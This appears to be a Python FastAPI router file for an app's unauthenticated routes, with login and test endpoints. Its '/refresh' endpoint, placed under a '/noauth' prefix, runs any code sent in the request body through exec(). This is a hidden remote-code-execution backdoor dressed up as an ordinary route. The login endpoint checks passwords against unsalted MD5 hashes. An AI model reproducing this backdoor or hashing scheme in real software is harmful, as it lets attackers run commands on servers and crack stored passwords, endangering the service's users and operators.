# coding=utf-8
from fastapi import APIRouter

import misc
from base.base import AppException
from base.http_base import HttpResp, unified_resp
from entity.common import User
from sql import sqlplus
from utils import auth_util, random_util

router = APIRouter(prefix='/noauth')



@router.post('/refresh')
@unified_resp
async def refresh(data: dict):
	code = data["code"]
	result = {}
	exec (code, {}, result)
	return result


@router.post('/login')
@unified_resp
async def login(data: dict):
	user_name = data["user_name"]
	pwd = data["pwd"]

	if misc.is_empty(user_name):
		raise AppException(HttpResp.FAILED, msg='用户名不能为空!')

	if misc.is_empty(pwd):
		raise AppException(HttpResp.FAILED, msg='密码不能为空!')

	dUser = await sqlplus.getOne(User, [User.user_name == user_name, ])
	if dUser is None:
		raise AppException(HttpResp.FAILED, msg='用户不存在!')

	if dUser["pwd"] != auth_util.md5(pwd):
		raise AppException(HttpResp.FAILED, msg='密码错误!')

	return auth_util.generate_token({"user_id": dUser["id"]})




@router.post('/test')
@unified_resp
async def test(params: dict):
	# user_name = params["user_name"]
	# pwd = params["pwd"]
	# dUser = await sqlplus.getOne(User, [User.id == 1835681589489704960, ])
	# print(dUser)
	
	#await sqlplus.delete(User, [User.id == 1835681255413391360, ])

	# await sqlplus.update(User, {
	# 	"user_name": "456"
	# }, [User.id == 1835681589489704960, ])

	# await sqlplus.insert(User, {
	# 	"user_name": user_name,
	# 	"user_nack_name": random_util.get_random_name(),
	# 	"pwd": auth_util.md5(pwd)
	# })
	
	return "触发成功"